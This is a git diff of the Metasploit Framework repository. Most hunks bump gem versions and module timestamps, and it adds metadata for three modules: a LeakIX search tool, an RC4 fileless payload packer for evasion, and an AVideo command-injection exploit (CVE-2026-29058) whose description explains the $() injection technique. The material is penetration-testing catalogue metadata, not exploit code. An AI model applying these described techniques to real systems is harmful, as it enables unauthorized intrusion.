diff --git a/.rubocop.yml b/.rubocop.yml index 6cef85a06c9dd..b1c617d67d386 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -25,7 +25,6 @@ require: - ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb - ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb - ./lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb - - ./lib/rubocop/cop/lint/datastore_srvhost_usage.rb Layout/SpaceBeforeBrackets: Enabled: true diff --git a/Gemfile.lock b/Gemfile.lock index 084e0e24438bd..d2d923b97ddea 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.4.120) + metasploit-framework (6.4.124) aarch64 abbrev actionpack (~> 7.2.0) @@ -47,7 +47,7 @@ PATH metasploit-credential metasploit-model metasploit-payloads (= 2.0.240) - metasploit_data_models (>= 6.0.7) + metasploit_data_models (>= 6.0.15) metasploit_payloads-mettle (= 1.0.46) mqtt msgpack (~> 1.6.0) @@ -353,7 +353,7 @@ GEM mutex_m railties (~> 7.0) metasploit-payloads (2.0.240) - metasploit_data_models (6.0.12) + metasploit_data_models (6.0.15) activerecord (~> 7.0) activesupport (~> 7.0) arel-helpers diff --git a/LICENSE_GEMS b/LICENSE_GEMS index bd04d28bf39af..6d93a1a8d09bc 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -97,10 +97,10 @@ memory_profiler, 1.1.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.5, "New BSD" metasploit-credential, 6.0.20, "New BSD" -metasploit-framework, 6.4.120, "New BSD" +metasploit-framework, 6.4.124, "New BSD" metasploit-model, 5.0.4, "New BSD" metasploit-payloads, 2.0.240, "3-clause (or ""modified"") BSD" -metasploit_data_models, 6.0.12, "New BSD" +metasploit_data_models, 6.0.15, "New BSD" metasploit_payloads-mettle, 1.0.46, "3-clause (or ""modified"") BSD" method_source, 1.1.0, MIT mime-types, 3.7.0, MIT diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index ed27e0f476bb0..9046650175454 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -81,7 +81,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb", "is_install_path": true, "ref_name": "admin/android/google_play_store_uxss_xframe_rce", @@ -3725,7 +3725,7 @@ "https" ], "targets": null, - "mod_time": "2025-10-06 17:15:11 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb", "is_install_path": true, "ref_name": "admin/http/linksys_wrt54gl_exec", @@ -10157,7 +10157,7 @@ "https" ], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb", "is_install_path": true, "ref_name": "admin/sap/cve_2020_6207_solman_rce", @@ -19115,7 +19115,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/fileformat/specialfolder_leak.rb", "is_install_path": true, "ref_name": "fileformat/specialfolder_leak", @@ -20523,7 +20523,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 11:41:43 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/gather/android_stock_browser_uxss.rb", "is_install_path": true, "ref_name": "gather/android_stock_browser_uxss", @@ -20695,7 +20695,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb", "is_install_path": true, "ref_name": "gather/apple_safari_ftp_url_cookie_theft", @@ -20742,7 +20742,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 11:41:43 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb", "is_install_path": true, "ref_name": "gather/apple_safari_webarchive_uxss", @@ -22847,7 +22847,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb", "is_install_path": true, "ref_name": "gather/firefox_pdfjs_file_theft", @@ -23973,7 +23973,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-03-02 11:06:06 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/gather/ie_sandbox_findfiles.rb", "is_install_path": true, "ref_name": "gather/ie_sandbox_findfiles", @@ -24864,7 +24864,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-23 11:26:44 +0000", + "mod_time": "2026-03-17 12:03:10 +0000", "path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb", "is_install_path": true, "ref_name": "gather/ldap_esc_vulnerable_cert_finder", @@ -24965,7 +24965,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2025-11-28 19:15:17 +0000", + "mod_time": "2026-03-11 16:36:35 +0000", "path": "/modules/auxiliary/gather/ldap_query.rb", "is_install_path": true, "ref_name": "gather/ldap_query", @@ -25124,6 +25124,86 @@ } ] }, + "auxiliary_gather/leakix_search": { + "name": "LeakIX Search", + "fullname": "auxiliary/gather/leakix_search", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Valentin Lobstein ", + "LeakIX " + ], + "description": "This module uses the LeakIX API to search for exposed services and data leaks.\n LeakIX is a search engine focused on indexing internet-exposed services and\n leaked credentials/databases.\n\n An API key is required (free at https://leakix.net).\n\n Actions:\n SEARCH - Query LeakIX with a search string and scope (leak or service).\n Paginated, 20 results per page, max 500 pages (10000 results).\n Free accounts have lower page limits.\n HOST - Retrieve all known services and leaks for a given IP\n DOMAIN - Retrieve all known services and leaks for a given domain\n SUBDOMAINS - List known subdomains for a given domain\n PLUGINS - List all available LeakIX scanner plugins\n BULK - Stream all leak results via the bulk API (Pro only, leak scope only).\n Use MAXRESULTS to limit the number of collected events.\n\n Query examples:\n +country:\"France\"\n +port:3306 +country:\"Germany\"\n plugin:HttpOpenProxy\n +software.name:\"nginx\" +country:\"US\"", + "references": [ + "URL-https://leakix.net", + "URL-https://docs.leakix.net" + ], + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2026-03-04 17:13:03 +0000", + "path": "/modules/auxiliary/gather/leakix_search.rb", + "is_install_path": true, + "ref_name": "gather/leakix_search", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + { + "name": "BULK", + "description": "Bulk search via streaming API (Pro only, leak scope only)" + }, + { + "name": "DOMAIN", + "description": "Get details for a specific domain" + }, + { + "name": "HOST", + "description": "Get details for a specific IP address" + }, + { + "name": "PLUGINS", + "description": "List available LeakIX plugins" + }, + { + "name": "SEARCH", + "description": "Search LeakIX for services or leaks" + }, + { + "name": "SUBDOMAINS", + "description": "List subdomains for a domain" + } + ] + }, "auxiliary_gather/listmonk_env_disclosure": { "name": "Listmonk Insecure Sprig Template Functions Environment Disclosure", "fullname": "auxiliary/gather/listmonk_env_disclosure", @@ -25213,7 +25293,7 @@ "https" ], "targets": null, - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb", "is_install_path": true, "ref_name": "gather/magento_xxe_cve_2024_34102", @@ -27347,7 +27427,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:17:19 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/gather/safari_file_url_navigation.rb", "is_install_path": true, "ref_name": "gather/safari_file_url_navigation", @@ -47868,7 +47948,7 @@ "https" ], "targets": null, - "mod_time": "2025-07-16 22:59:48 +0000", + "mod_time": "2025-11-23 00:36:21 +0000", "path": "/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb", "is_install_path": true, "ref_name": "scanner/http/xorcom_completepbx_diagnostics_file_read", @@ -47924,7 +48004,7 @@ "https" ], "targets": null, - "mod_time": "2025-07-16 22:59:48 +0000", + "mod_time": "2025-11-23 00:36:21 +0000", "path": "/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb", "is_install_path": true, "ref_name": "scanner/http/xorcom_completepbx_file_disclosure", @@ -60618,7 +60698,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/android_mercury_parseuri.rb", "is_install_path": true, "ref_name": "server/android_mercury_parseuri", @@ -60658,7 +60738,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/browser_autopwn.rb", "is_install_path": true, "ref_name": "server/browser_autopwn", @@ -60842,7 +60922,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/capture/http.rb", "is_install_path": true, "ref_name": "server/capture/http", @@ -60883,7 +60963,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/capture/http_basic.rb", "is_install_path": true, "ref_name": "server/capture/http_basic", @@ -61160,7 +61240,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/capture/pop3.rb", "is_install_path": true, "ref_name": "server/capture/pop3", @@ -61246,7 +61326,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/capture/printjob_capture.rb", "is_install_path": true, "ref_name": "server/capture/printjob_capture", @@ -61287,7 +61367,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/auxiliary/server/capture/sip.rb", "is_install_path": true, "ref_name": "server/capture/sip", @@ -61331,7 +61411,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2025-11-30 23:39:52 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/auxiliary/server/capture/smb.rb", "is_install_path": true, "ref_name": "server/capture/smb", @@ -61378,7 +61458,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/capture/smtp.rb", "is_install_path": true, "ref_name": "server/capture/smtp", @@ -61633,7 +61713,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/auxiliary/server/dns/spoofhelper.rb", "is_install_path": true, "ref_name": "server/dns/spoofhelper", @@ -61676,7 +61756,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/auxiliary/server/fakedns.rb", "is_install_path": true, "ref_name": "server/fakedns", @@ -61845,7 +61925,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb", "is_install_path": true, "ref_name": "server/jsse_skiptls_mitm_proxy", @@ -62019,7 +62099,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/auxiliary/server/netbios_spoof_nat.rb", "is_install_path": true, "ref_name": "server/netbios_spoof_nat", @@ -62060,7 +62140,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb", "is_install_path": true, "ref_name": "server/openssl_altchainsforgery_mitm_proxy", @@ -62104,7 +62184,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/auxiliary/server/openssl_heartbeat_client_memory.rb", "is_install_path": true, "ref_name": "server/openssl_heartbeat_client_memory", @@ -62143,7 +62223,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2025-06-20 13:20:44 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/auxiliary/server/pxeexploit.rb", "is_install_path": true, "ref_name": "server/pxeexploit", @@ -62542,7 +62622,7 @@ "autofilter_ports": [], "autofilter_services": [], "targets": null, - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/auxiliary/server/tftp.rb", "is_install_path": true, "ref_name": "server/tftp", @@ -63007,7 +63087,7 @@ "dns" ], "targets": null, - "mod_time": "2025-05-13 19:36:21 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/auxiliary/spoof/dns/native_spoofer.rb", "is_install_path": true, "ref_name": "spoof/dns/native_spoofer", @@ -64576,7 +64656,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-09 05:51:46 +0000", + "mod_time": "2026-03-10 19:03:51 +0000", "path": "/modules/encoders/cmd/base64.rb", "is_install_path": true, "ref_name": "cmd/base64", @@ -66030,6 +66110,37 @@ "session_types": false, "needs_cleanup": false }, + "evasion_linux/x64/rc4_packer": { + "name": "Linux RC4 Encrypted Payload Generator", + "fullname": "evasion/linux/x64/rc4_packer", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "evasion", + "author": [ + "Massimo Bertocchi" + ], + "description": "This evasion module packs Linux payloads using RC4 encryption\n and executes them from memory using memfd_create for fileless execution.\n Linux kernel version support: 3.17+", + "references": [], + "platform": "Linux", + "arch": "x64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": [ + "Linux x64" + ], + "mod_time": "2026-02-27 16:02:35 +0000", + "path": "/modules/evasion/linux/x64/rc4_packer.rb", + "is_install_path": true, + "ref_name": "linux/x64/rc4_packer", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false + }, "evasion_linux/x86/rc4_packer": { "name": "Linux RC4 Packer with In-Memory Execution (x86)", "fullname": "evasion/linux/x86/rc4_packer", @@ -68230,7 +68341,7 @@ "targets": [ "NetScaler Virtual Appliance 450010" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb", "is_install_path": true, "ref_name": "freebsd/misc/citrix_netscaler_soap_bof", @@ -70426,6 +70537,64 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/avideo_encoder_getimage_cmd_injection": { + "name": "AVideo Encoder getImage.php Unauthenticated Command Injection", + "fullname": "exploit/linux/http/avideo_encoder_getimage_cmd_injection", + "aliases": [], + "rank": 600, + "disclosure_date": "2026-03-05", + "type": "exploit", + "author": [ + "arkmarta", + "Valentin Lobstein " + ], + "description": "This module exploits an unauthenticated OS command injection vulnerability\n in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).\n\n The base64Url GET parameter is base64-decoded and injected directly into an\n ffmpeg shell command within double quotes, without any sanitization or use of\n escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell\n metacharacters such as $() in the URL path, allowing command substitution.\n\n A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated\n into: ffmpeg -i \"{$url}\" ... resulting in arbitrary command execution as www-data.\n\n The Encoder code is served by the main AVideo Apache container (mounted at\n /Encoder), so exploitation gives access to the main application context including\n database credentials and configuration.\n\n Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()\n and shell metacharacter stripping.", + "references": [ + "CVE-2026-29058", + "GHSA-9j26-99jh-v26q" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix/Linux Command Shell" + ], + "mod_time": "2026-03-06 21:28:39 +0000", + "path": "/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb", + "is_install_path": true, + "ref_name": "linux/http/avideo_encoder_getimage_cmd_injection", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/axis_app_install": { "name": "Axis IP Camera Application Upload", "fullname": "exploit/linux/http/axis_app_install", @@ -70744,7 +70913,7 @@ "Harsh Jaiswal", "Jonah Burgess (CryptoCat)" ], - "description": "This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote\n Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the\n user-selected target.\n\n The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1\n and prior, and PRA versions 24.3.4 and prior.\n\n Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL)\n and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior.\n\n Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.", + "description": "This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote\n Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.\n Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.", "references": [ "CVE-2026-1731", "URL-https://www.beyondtrust.com/trust-center/security-advisories/bt26-02", @@ -70771,7 +70940,7 @@ "targets": [ "Command Injection" ], - "mod_time": "2026-02-24 16:16:05 +0000", + "mod_time": "2026-03-03 15:42:15 +0000", "path": "/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb", "is_install_path": true, "ref_name": "linux/http/beyondtrust_pra_rs_command_injection", @@ -71545,7 +71714,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb", "is_install_path": true, "ref_name": "linux/http/chaos_rat_xss_to_rce", @@ -72409,7 +72578,7 @@ "targets": [ "Unix/Linux Command Shell" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/craftcms_ftp_template.rb", "is_install_path": true, "ref_name": "linux/http/craftcms_ftp_template", @@ -73149,7 +73318,7 @@ "CMD", "Linux mipsel Payload" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb", "is_install_path": true, "ref_name": "linux/http/dlink_diagnostic_exec_noauth", @@ -73331,7 +73500,7 @@ "CMD", "Linux mipsel Payload" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/dlink_dir615_up_exec.rb", "is_install_path": true, "ref_name": "linux/http/dlink_dir615_up_exec", @@ -73877,7 +74046,7 @@ "Dlink DIR-818 / 822 / 823 / 850 [MIPS]", "Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/exploits/linux/http/dlink_hnap_login_bof.rb", "is_install_path": true, "ref_name": "linux/http/dlink_hnap_login_bof", @@ -76877,7 +77046,7 @@ "targets": [ "Linux mipsbe Payload" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb", "is_install_path": true, "ref_name": "linux/http/huawei_hg532n_cmdinject", @@ -77001,7 +77170,7 @@ "targets": [ "IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb", "is_install_path": true, "ref_name": "linux/http/ibm_qradar_unauth_rce", @@ -79048,7 +79217,7 @@ "CMD", "Linux mipsel Payload" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/linksys_e1500_apply_exec.rb", "is_install_path": true, "ref_name": "linux/http/linksys_e1500_apply_exec", @@ -79300,7 +79469,7 @@ "CMD", "Linux mipsel Payload" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb", "is_install_path": true, "ref_name": "linux/http/linksys_wrt54gl_apply_exec", @@ -79606,7 +79775,7 @@ "targets": [ "Unix Command" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb", "is_install_path": true, "ref_name": "linux/http/magento_xxe_to_glibc_buf_overflow", @@ -80771,7 +80940,7 @@ "targets": [ "Nagios XI <= 5.5.6" ], - "mod_time": "2025-06-20 13:20:44 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/exploits/linux/http/nagios_xi_magpie_debug.rb", "is_install_path": true, "ref_name": "linux/http/nagios_xi_magpie_debug", @@ -81198,7 +81367,7 @@ "CMD", "Linux mipsbe Payload" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb", "is_install_path": true, "ref_name": "linux/http/netgear_dgn1000b_setup_exec", @@ -81260,7 +81429,7 @@ "CMD", "Linux mipsbe Payload" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb", "is_install_path": true, "ref_name": "linux/http/netgear_dgn2200b_pppoe_exec", @@ -82032,7 +82201,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb", "is_install_path": true, "ref_name": "linux/http/ollama_rce_cve_2024_37032", @@ -84632,7 +84801,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/railo_cfml_rfi.rb", "is_install_path": true, "ref_name": "linux/http/railo_cfml_rfi", @@ -86750,7 +86919,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/symmetricom_syncserver_rce.rb", "is_install_path": true, "ref_name": "linux/http/symmetricom_syncserver_rce", @@ -86869,7 +87038,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb", "is_install_path": true, "ref_name": "linux/http/synology_dsm_smart_exec_auth", @@ -88660,7 +88829,7 @@ "targets": [ "VMware vRealize Log Insight < v8.10.2" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/http/vmware_vrli_rce.rb", "is_install_path": true, "ref_name": "linux/http/vmware_vrli_rce", @@ -89754,7 +89923,7 @@ "targets": [ "Unix/Linux Command Shell" ], - "mod_time": "2025-12-17 16:12:31 +0000", + "mod_time": "2025-11-23 00:36:21 +0000", "path": "/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb", "is_install_path": true, "ref_name": "linux/http/xorcom_completepbx_scheduler", @@ -95701,7 +95870,7 @@ "Anydesk 5.5.2 Ubuntu 20.04 x64", "Anydesk 5.5.2 Ubuntu 18.04 x64" ], - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb", "is_install_path": true, "ref_name": "linux/misc/cve_2020_13160_anydesk", @@ -96536,7 +96705,7 @@ "targets": [ "Jenkins 2.31" ], - "mod_time": "2026-02-24 12:18:09 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb", "is_install_path": true, "ref_name": "linux/misc/jenkins_ldap_deserialize", @@ -96921,7 +97090,7 @@ "OpenNMS / Linux x86", "OpenNMS / Linux x86_64" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/misc/opennms_java_serialize.rb", "is_install_path": true, "ref_name": "linux/misc/opennms_java_serialize", @@ -97192,7 +97361,7 @@ "targets": [ "TP-Link Archer A7/C7 (AC1750) v5 (firmware up to 201029/30)" ], - "mod_time": "2026-02-26 17:48:23 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb", "is_install_path": true, "ref_name": "linux/misc/tplink_archer_a7_c7_lan_rce", @@ -97480,7 +97649,7 @@ "targets": [ "Zyxel Device" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb", "is_install_path": true, "ref_name": "linux/misc/zyxel_multiple_devices_zhttp_lan_rce", @@ -98700,7 +98869,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/redis/redis_replication_cmd_exec.rb", "is_install_path": true, "ref_name": "linux/redis/redis_replication_cmd_exec", @@ -99108,7 +99277,7 @@ "targets": [ "Linux x86" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/linux/smtp/exim4_dovecot_exec.rb", "is_install_path": true, "ref_name": "linux/smtp/exim4_dovecot_exec", @@ -104329,7 +104498,7 @@ "Unix Command", "Linux Dropper" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb", "is_install_path": true, "ref_name": "multi/http/adobe_coldfusion_rce_cve_2023_26360", @@ -106228,7 +106397,7 @@ "targets": [ "Bassmaster <= 1.5.1" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/bassmaster_js_injection.rb", "is_install_path": true, "ref_name": "multi/http/bassmaster_js_injection", @@ -106442,7 +106611,7 @@ "description": "This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.\n Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label\n parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.\n The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.\n The initial payload downloads the full payload using curl from the attacker's server and saves it to the\n web root of the cacti server before executing.", "references": [ "URL-https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py", - "GHSA-fxrq-fr7h-9rqq", + "URL-https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq", "CVE-2025-24367" ], "platform": "Linux,PHP,Unix,Windows", @@ -106467,7 +106636,7 @@ "Linux", "Windows" ], - "mod_time": "2026-02-26 17:48:23 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/cacti_graph_template_rce.rb", "is_install_path": true, "ref_name": 